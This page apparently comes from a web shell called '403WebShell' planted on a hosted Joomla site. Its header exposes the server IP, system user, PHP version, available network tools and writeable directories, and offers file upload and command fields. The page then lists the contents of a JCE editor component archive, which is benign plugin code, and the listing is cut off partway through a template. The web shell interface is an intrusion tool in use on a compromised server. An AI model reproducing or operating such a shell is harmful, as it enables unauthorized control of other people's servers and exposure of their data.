Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/com_jce.tar
views/popup/index.html000060400000000054150750527140011042 0ustar00<html><body bgcolor="#FFFFFF"></body></html>views/popup/tmpl/default.php000060400000002640150750527140012161 0ustar00<?php
/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<style type="text/css">
    /* Reset template style sheet */
    body{margin:0;padding:0;}div{margin:0;padding:0;}img{margin:0;padding:0;}
</style>
<div id="wf_popup_image">
    <?php if ($this->features['mode']) {
    ?>
        <div class="contentheading"><?php echo $this->features['title']; ?></div>
    <?php 
} ?>
    <?php if ($this->features['mode'] && $this->features['print']) {
    ?>
        <div class="buttonheading"><a href="javascript:;" onClick="window.print();
                return false"><img src="<?php echo JURI::root(); ?>components/com_jce/media/img/print.png" width="16" height="16" alt="<?php echo WFText::_('Print'); ?>" title="<?php echo WFText::_('Print'); ?>" /></a></div>
<?php 
} ?>
    <div><img src="<?php echo $this->features['img']; ?>" width="<?php echo $this->features['width']; ?>" height="<?php echo $this->features['height']; ?>" alt="<?php echo $this->features['alt']; ?>" onclick="window.close();" /></div>
</div>views/popup/tmpl/index.html000060400000000054150750527140012016 0ustar00<html><body bgcolor="#FFFFFF"></body></html>views/popup/view.html.php000060400000005230150750527140011474 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
jimport('joomla.application.component.view');

if (!class_exists('WFViewBase')) {
    if (interface_exists('JView')) {
        abstract class WFViewBase extends JViewLegacy
        {
        }
    } else {
        abstract class WFViewBase extends JView
        {
        }
    }
}

class WFViewPopup extends WFViewBase
{
    public function display($tpl = null)
    {
        $app = JFactory::getApplication();

        $this->document->addScript(JURI::root(true).'/components/com_jce/media/js/popup.js');
        $this->document->addStylesheet(JURI::root(true).'/components/com_jce/media/css/popup.css');

        // Get variables
        $img = JRequest::getVar('img');
        $title = JRequest::getWord('title');
        $mode = JRequest::getInt('mode', '0');
        $click = JRequest::getInt('click', '0');
        $print = JRequest::getInt('print', '0');

        $dim = array('', '');

        if (strpos('http', $img) === false) {
            $path = JPATH_SITE.'/'.trim(str_replace(JURI::root(), '', $img), '/');
            if (is_file($path)) {
                $dim = @getimagesize($path);
            }
        }

        $width = JRequest::getInt('w', JRequest::getInt('width', ''));
        $height = JRequest::getInt('h', JRequest::getInt('height', ''));

        if (!$width) {
            $width = $dim[0];
        }

        if (!$height) {
            $height = $dim[1];
        }

        // Cleanup img variable
        $img = preg_replace('/[^a-z0-9\.\/_-]/i', '', $img);

        $title = isset($title) ? str_replace('_', ' ', $title) : basename($img);
        // img src must be passed
        if ($img) {
            $features = array(
                'img' => str_replace(JURI::root(), '', $img),
                'title' => $title,
                'alt' => $title,
                'mode' => $mode,
                'click' => $click,
                'print' => $print,
                'width' => $width,
                'height' => $height,
            );

            $this->document->addScriptDeclaration('(function(){WFWindowPopup.init('.$width.', '.$height.', '.$click.');})();');

            $this->assign('features', $features);
        } else {
            $app->redirect('index.php');
        }

        parent::display($tpl);
    }
}
views/index.html000060400000000054150750527140007677 0ustar00<html><body bgcolor="#FFFFFF"></body></html>jce.php000060400000001031150750527140006013 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once JPATH_COMPONENT_ADMINISTRATOR.'/jce.php';
editor/tiny_mce/plugins/browser/classes/config.php000060400000001107150750527140016421 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFBrowserPluginConfig
{
    public static function getConfig(&$settings)
    {
        $settings['file_browser_callback'] = '';
    }
}
editor/tiny_mce/plugins/browser/classes/browser.php000060400000007251150750527140016645 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/manager.php';

class WFFileBrowserPlugin extends WFMediaManager
{
    /*
     * @var string
     */
    protected $_filetypes = 'doc,docx,dot,dotx,ppt,pps,pptx,ppsx,xls,xlsx,gif,jpeg,jpg,png,pdf,zip,tar,gz,swf,rar,mov,mp4,qt,wmv,asx,asf,avi,wav,mp3,aiff,odt,odg,odp,ods,odf,rtf,txt,csv';

    public function __construct($config = array())
    {
        $config = array(
            'layout' => 'browser',
            'can_edit_images' => 1,
            'show_view_mode' => 1,
        );

        parent::__construct($config);

        // get the plugin that opened the file browser
        $caller = $this->get('caller', 'browser');

        // get mediatype from xml
        $mediatype = JRequest::getVar('mediatype', JRequest::getVar('filter', 'files'));

        // clean filter value
        $mediatype = (string) preg_replace('/[^\w_,]/i', '', $mediatype);

        // get filetypes from params
        $filetypes = $this->getParam('browser.extensions', $this->get('_filetypes'));

        $map = array(
            "images" => "jpg,jpeg,png,gif",
            "media"  => "avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mpeg,m4a,m4v,swf,dcr,rm,ra,ram,divx,mp4,ogv,ogg,webm,flv,f4v,mp3,ogg,wav,xap",
            "html"   => "html,htm,txt",
            "files"  => $filetypes
        );

        // add svg support to images if it is allowed in filetypes
        if (in_array('svg', explode(",", $filetypes))) {
            $map['images'] = "jpg,jpeg,png,gif,svg";
        }

        if (array_key_exists($mediatype, $map)) {
            $filetypes = $map[$mediatype];
        } else {
            $filetypes = $mediatype;
        }

        // set filetypes
        $this->setFileTypes($filetypes);

        $browser = $this->getFileBrowser();
        
        $upload = $browser->get('upload', array());
        $upload['filetypes'] = $browser->getFileTypes('list', $filetypes);
        
        $browser->setProperties(array('upload' => $upload));
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $layout = JRequest::getCmd('layout', 'plugin');

        if ($document->get('standalone') == 1) {
            if ($layout === 'plugin') {
                $document->addScript(array('window.min'), 'plugins');

                $element = JRequest::getCmd('element', JRequest::getCmd('fieldid', ''));
                $callback = JRequest::getCmd('callback', '');

                $settings = array(
                    'site_url' => JURI::base(true).'/',
                    'language' => WFLanguage::getCode(),
                    'element' => $element,
                    'token' => WFToken::getToken(),
                );

                if ($callback) {
                    $settings['callback'] = $callback;
                }

                $document->addScriptDeclaration('tinymce.settings='.json_encode($settings).';');
            }

            $document->addScript(array('popup.min'), 'plugins');
            $document->addStyleSheet(array('browser.min'), 'plugins');
        }

        if ($layout === 'plugin') {
            $document->addScript(array('browser'), 'plugins');
        }
    }
}
editor/tiny_mce/plugins/browser/classes/index.html000060400000000054150750527140016440 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/browser/editor_plugin.js000060400000001415150750527140016212 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.Browser",{init:function(ed,url){var self=this;self.ed=ed,ed.addCommand("mceFileBrowser",function(ui,args,win){self.open(args,win)})},open:function(args,win){args=args||{};var ed=this.ed;return ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=browser"+(args.caller?"."+args.caller:"")+(args.filter?"&filter="+args.filter:""),inline:"yes",close_previous:"no",size:"mce-modal-square-xlarge",width:896,height:707},args),!1}}),tinymce.PluginManager.add("browser",tinymce.plugins.Browser)}();editor/tiny_mce/plugins/browser/css/index.html000060400000000054150750527140015573 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/browser/css/browser.min.css000060400000000273150750527140016560 0ustar00.ui-browser{left:0;right:0}.ui-modal-footer{border:1px solid #ddd}.ui-inline-help .ui-modal-dialog{top:0;height:100%}.ui-inline-help iframe{height:92%;height:calc(100% - 41px);width:100%}editor/tiny_mce/plugins/browser/index.html000060400000000054150750527140015003 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/browser/js/index.html000060400000000054150750527140015417 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/browser/js/window.min.js000060400000010154150750527140016053 0ustar00/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

var tinymce = {
    settings: {
        "language": "en",
        "site_url": ""
    },

    addI18n: function(p, o) {
        return Wf.addI18n(p, o);
    },

    convertURL: function(src) {
        return src;
    },

    windowManager: {
        params: {
            "window": window.parent,
            "callback": function(selected, data) {
                var win = window.parent,
                    s = tinyMCEPopup.editor.settings,
                    value = data[0].url;

                if (win.jQuery) {
                    // Joomla 3.5.x Media Field
                    var wrapper = win.jQuery('#' + s.element).parents('.field-media-wrapper').get(0);

                    if (wrapper) {
                        var inst = win.jQuery(wrapper).data('fieldMedia');

                        if (inst) {
                            return inst.setValue(value);
                        }
                    }

                    win.jQuery('#' + s.element).val(value).change();
                } else {
                    var el;

                    if (s.element) {
                        el = win.document.getElementById(s.element);
                    }

                    if (el) {
                        el.value = value;
                    }
                }
            }
        },

        // Open a modal window . This is only used from inside an existing modal, eg: Help or Image Editor
        open: function(args, params) {
            var $ = jQuery,
                s = tinyMCEPopup.editor.settings;

            args.url += '&' + s.token + '=1';

            if (s.context) {
                args.url += '&context=' + s.context;
            }

            args.url += '&standalone=1';

            var div = $('<div class="uk-inline-help uk-modal" />');

            var html = '<div class="uk-modal-dialog uk-modal-dialog-blank">' +
                '	<button class="uk-modal-close uk-close"></button>' +
                '	<div class="uk-modal-header"><h3><strong>' + (args.title || "") + '</strong></h3></div>' +
                '	<iframe src="' + args.url + '" frameborder="0"></iframe>' +
                '</div>';

            $(div).html(html).find('.uk-close').click(function(e) {
                e.preventDefault();
                $(div).removeClass('uk-open').delay(150).remove();
            });

            $(div).appendTo('body').addClass('uk-open').show();

            // store params
            tinymce.windowManager.params = params;
        },
        // Close a modal window opened using a Joomla Modal method or a JCE Modal.
        close: function() {
            var win = window.parent,
                s = tinyMCEPopup.editor.settings;

            // JCE dialog
            if (typeof win.$jce !== 'undefined') {
                return win.$jce.closeDialog('#' + s.element + '_browser');
            }

            // Joomla 3.5.x Media Field
            if (s.element && typeof win.jQuery.fieldMedia !== 'undefined') {
                var wrapper = win.jQuery('#' + s.element).parents('.field-media-wrapper').get(0);

                var inst = win.jQuery(wrapper).data('fieldMedia');

                if (inst) {
                    return inst.modalClose();
                }
            }

            // jModalClose
            if (typeof win.jModalClose !== 'undefined') {
                return win.jModalClose();
            }

            // try squeezebox
            if (typeof win.SqueezeBox !== 'undefined') {
                return win.SqueezeBox.close();
            }
        }
    },

    getParam: function(n, dv) {
        var s = tinyMCEPopup.editor.settings,
            v = s[n];
        return (typeof v !== "undefined") ? v : dv;
    }
};

var tinyMCE = tinymce;editor/tiny_mce/plugins/browser/js/popup.min.js000060400000003145150750527140015711 0ustar00/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

var tinyMCEPopup = {
    getParam: function(n, dv) {
        return this.editor.getParam(n, dv);
    },
    getLang: function(n, dv) {
        var lang = Wf.getLanguage();
        return Wf.i18n[lang + '.' + n] || dv;
    },
    getWindowArg: function(n, dv) {
        var v = this.editor.windowManager.params[n];
        return (typeof v !== "undefined") ? v : dv;
    },
    close: function() {
        return this.editor.windowManager.close();
    }
};
// fake editor
tinyMCEPopup.editor = window.tinymce || window.parent.tinymce;

jQuery(document).ready(function($) {
    var win = window.parent,
        s = tinyMCEPopup.editor.settings,
        element = s.element,
        el;

    if (element) {
        el = win.document.getElementById(element);
        if (el) {
            tinyMCEPopup.editor.windowManager.params.value = el.value;
        }
    }

    if (s.callback) {
        var fn = win[s.callback];

        if (typeof fn === "function") {
            tinyMCEPopup.editor.windowManager.params.callback = fn;
        }
    }

    // Joomla 3.5.x Media Field
    if (el && el.className.indexOf(' field-media-input ') !== -1) {
        $('#cancel').hide();
    }
});editor/tiny_mce/plugins/browser/js/browser.js000060400000002504150750527140015445 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($){function init(){$("#insert").click(function(e){e.preventDefault(),insert()}),$("#cancel").click(function(e){e.preventDefault(),tinyMCEPopup.close()});var src=(tinyMCEPopup.window,tinyMCEPopup.getWindowArg("value"));Wf.init(),/(:\/\/|www|index.php(.*)\?option)/gi.test(src)&&(src=""),src&&(src=tinyMCEPopup.editor.convertURL(src),$(".uk-button-text","#insert").text(tinyMCEPopup.getLang("update","Update",!0))),$("[data-filebrowser]").val(src).filebrowser().on("filebrowser:onfileclick",function(e,file,data){selectFile(data)})}function insert(){var win=tinyMCEPopup.getWindowArg("window"),callback=tinyMCEPopup.getWindowArg("callback");if(!callback)return tinyMCEPopup.close();$("[data-filebrowser]").trigger("filebrowser:insert",function(selected,data){data.length||(data=[{title:"",url:""}]),"string"==typeof callback&&(selectFile(data[0]),win.document.getElementById(callback).value=$("[data-filebrowser]").val()),"function"==typeof callback&&callback(selected,data),tinyMCEPopup.close()})}function selectFile(file){var src=file.url||"";src=src.replace(/^\//,""),$("[data-filebrowser]").val(src)}$(document).ready(init)}(jQuery);editor/tiny_mce/plugins/browser/browser.php000060400000001052150750527140015201 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
require_once dirname(__FILE__).'/classes/browser.php';

$plugin = new WFFileBrowserPlugin();
$plugin->execute();
editor/tiny_mce/plugins/browser/browser.xml000060400000007254150750527140015224 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<install version="2.0" type="plugin" plugin="browser" core="1" editable="1">
    <name>WF_BROWSER_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_BROWSER_DESC</description>
    <icon></icon>
    <files></files>
    <params group="standard">
        <param name="dir" type="text" default="" size="50" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC"/>
        <param name="max_size" class="upload_size" max="" type="text" default="" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" placeholder="" />
        <param name="extensions" type="extension" default="doc,docx,dot,dotx,ppt,pptx,xls,xlsx,gif,jpeg,jpg,png,pdf,zip,tar,gz,rar,swf,mov,mp4,qt,wmv,asx,asf,avi,wav,mp3,aiff,ogg,ogv,oga,webm,odt,odg,odp,ods,odf,rtf,txt,csv" label="WF_PARAM_EXTENSIONS" description="WF_PARAM_EXTENSIONS_DESC" />
        <param name="name" type="filesystem" group="filesystem" default="" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC" />
    </params>
    <params group="access">
        <param name="upload" type="radio" default="1" label="WF_PARAM_UPLOAD" description="WF_PARAM_UPLOAD_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_new" type="radio" default="1" label="WF_PARAM_FOLDER_CREATE" description="WF_PARAM_FOLDER_CREATE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_delete" type="radio" default="1" label="WF_PARAM_FOLDER_DELETE" description="WF_PARAM_FOLDER_DELETE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_rename" type="radio" default="1" label="WF_PARAM_FOLDER_RENAME" description="WF_PARAM_FOLDER_RENAME_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_move" type="radio" default="1" label="WF_PARAM_FOLDER_PASTE" description="WF_PARAM_FOLDER_PASTE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="file_delete" type="radio" default="1" label="WF_PARAM_FILE_DELETE" description="WF_PARAM_FILE_DELETE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="file_rename" type="radio" default="1" label="WF_PARAM_FILE_RENAME" description="WF_PARAM_FILE_RENAME_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="file_move" type="radio" default="1" label="WF_PARAM_FILE_PASTE" description="WF_PARAM_FILE_PASTE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <languages></languages>
    <help>
        <topic key="browser.about" title="WF_BROWSER_HELP_ABOUT" />
        <topic key="browser.interface" title="WF_BROWSER_HELP_INTERFACE" />
        <topic key="browser.insert" title="WF_BROWSER_HELP_INSERT" />
        <topic file="libraries/xml/help/manager.xml" />
    </help>
</install>
editor/tiny_mce/plugins/style/editor_plugin.js000060400000002774150750527140015700 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.StylePlugin",{init:function(ed,url){ed.addCommand("mceStyleProps",function(){var applyStyleToBlocks=!1,blocks=ed.selection.getSelectedBlocks(),styles=[];1===blocks.length?styles.push(ed.selection.getNode().style.cssText):(tinymce.each(blocks,function(block){styles.push(ed.dom.getAttrib(block,"style"))}),applyStyleToBlocks=!0),ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=style",width:620+parseInt(ed.getLang("style.delta_width",0)),height:420+parseInt(ed.getLang("style.delta_height",0)),inline:1,popup_css:!1},{applyStyleToBlocks:applyStyleToBlocks,plugin_url:url,styles:styles})}),ed.addCommand("mceSetElementStyle",function(ui,v){(e=ed.selection.getNode())&&(ed.dom.setAttrib(e,"style",v),ed.execCommand("mceRepaint"))}),ed.onNodeChange.add(function(ed,cm,n){cm.setDisabled("style","BODY"===n.nodeName||"BR"===n.nodeName&&n.getAttribute("data-mce-bogus"))}),ed.addButton("style",{title:"style.desc",cmd:"mceStyleProps"})},getInfo:function(){return{longname:"Style",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("style",tinymce.plugins.StylePlugin)}();editor/tiny_mce/plugins/style/css/index.html000060400000000054150750527140015250 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/style/css/style.css000060400000000074150750527140015127 0ustar00#container{position:relative}.uk-tabs-panel{margin-top:10px}editor/tiny_mce/plugins/style/style.xml000060400000001223150750527140014344 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="style" core="1" editable="0">
	<name>WF_STYLE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_STYLE_DESC</description>
	<icon>style</icon>
	<params></params>
	<help>
		<topic key="style.about" title="WF_STYLE_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/style/style.php000060400000001113150750527140014331 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/style.php';

$plugin = new WFStylePlugin();
$plugin->execute();
editor/tiny_mce/plugins/style/tmpl/border.php000060400000011554150750527140015434 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-grid">
  <div class="uk-width-3-10">
    <fieldset>
      <legend><?php echo WFText::_('WF_STYLES_STYLE'); ?></legend>
      <div class="uk-form-row">
        <input type="checkbox" id="border_style_same" checked="checked" onclick="StyleDialog.toggleSame(this,'border_style');" />
        <label for="border_style_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
      </div>
    <div class="uk-grid uk-grid-small">
      <label for="border_style_top" class="uk-form-label uk-width-3-10"><?php echo WFText::_('WF_STYLES_TOP'); ?></label>
      <div class="uk-form-controls uk-width-7-10 uk-datalist">
        <select id="border_style_top"></select>
      </div>
    </div>

    <div class="uk-grid uk-grid-small">
      <label for="border_style_right" class="uk-form-label uk-width-3-10"><?php echo WFText::_('WF_STYLES_RIGHT'); ?></label>
      <div class="uk-form-controls uk-width-7-10 uk-datalist">
        <select id="border_style_right"></select>
      </div>
    </div>

    <div class="uk-grid uk-grid-small">
      <label for="border_style_bottom" class="uk-form-label uk-width-3-10"><?php echo WFText::_('WF_STYLES_BOTTOM'); ?></label>
      <div class="uk-form-controls uk-width-7-10 uk-datalist">
        <select id="border_style_bottom"></select>
      </div>
    </div>

    <div class="uk-grid uk-grid-small">
      <label for="border_style_left" class="uk-form-label uk-width-3-10"><?php echo WFText::_('WF_STYLES_LEFT'); ?></label>
      <div class="uk-form-controls uk-width-7-10 uk-datalist">
        <select id="border_style_left"></select>
      </div>
    </div>
  </fieldset>
  </div>
  <div class="uk-width-4-10">
    <fieldset>
      <legend><?php echo WFText::_('WF_STYLES_WIDTH'); ?></legend>
      <div class="uk-form-row">
        <input type="checkbox" id="border_width_same" checked="checked" onclick="StyleDialog.toggleSame(this,'border_width');" />
        <label for="border_width_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
      </div>

      <div class="uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="border_width_top"></select>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_top_measurement" ></select>
        </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="border_width_right"></select>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_right_measurement" ></select>
        </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="border_width_bottom"></select>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_bottom_measurement" ></select>
        </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="border_width_left"></select>
        </div>
        <div class="uk-form-controls uk-width-5-10">
          <select id="border_width_left_measurement" ></select>
        </div>
      </div>
    </fieldset>
  </div>
  <div class="uk-width-3-10">
    <fieldset>
      <legend><?php echo WFText::_('WF_STYLES_COLOR'); ?></legend>
      <div class="uk-form-row">
        <input type="checkbox" id="border_color_same" checked="checked" onclick="StyleDialog.toggleSame(this,'border_color');" />
        <label for="border_color_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
      </div>

      <div class="uk-form-row">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_top" class="color" type="text" value="" />
        </div>
      </div>

      <div class="uk-form-row">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_right" class="color" type="text" value="" />
        </div>
      </div>

      <div class="uk-form-row">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_bottom" class="color" type="text" value="" />
        </div>
      </div>

      <div class="uk-form-row">
        <div class="uk-form-controls uk-width-2-3">
          <input id="border_color_left" class="color" type="text" value="" />
        </div>
      </div>
    </fieldset>
  </div>
</div>
editor/tiny_mce/plugins/style/tmpl/box.php000060400000015336150750527140014751 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>

    <div class="uk-grid uk-grid-small">
      <label for="box_width" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOX_WIDTH'); ?></label>

            <div class="uk-form-controls uk-width-2-10">
              <input type="number" id="box_width" onchange="StyleDialog.synch('box_width','positioning_width');" />
            </div>
            <div class="uk-form-controls uk-width-2-10">
              <select id="box_width_measurement"></select>
            </div>

      <label for="box_float" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOX_FLOAT'); ?></label>
      <div class="uk-form-controls uk-width-2-10 uk-datalist">
        <select id="box_float"></select>
      </div>
    </div>

    <div class="uk-grid uk-grid-small">
      <label for="box_height" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOX_HEIGHT'); ?></label>

        <div class="uk-form-controls uk-width-2-10 uk-datalist">
          <input type="number" id="box_height" onchange="StyleDialog.synch('box_height','positioning_height');" />
        </div>
        <div class="uk-form-controls uk-width-2-10">
          <select id="box_height_measurement"></select>
        </div>

      <label for="box_clear" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOX_CLEAR'); ?></label>
      <div class="uk-form-controls uk-width-2-10 uk-datalist">
        <select id="box_clear"></select>
      </div>
    </div>

    <div class="uk-grid uk-grid-small">
  <div class="uk-width-5-10">
    <fieldset>
      <legend><?php echo WFText::_('WF_STYLES_PADDING'); ?></legend>
        <div class="uk-form-row">
          <input type="checkbox" id="box_padding_same" checked="checked" onclick="StyleDialog.toggleSame(this,'box_padding');" />
          <label for="box_padding_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_padding_top" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TOP'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_top" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_top_measurement"></select>
              </div>
        </div>
        <div class="uk-grid uk-grid-small">
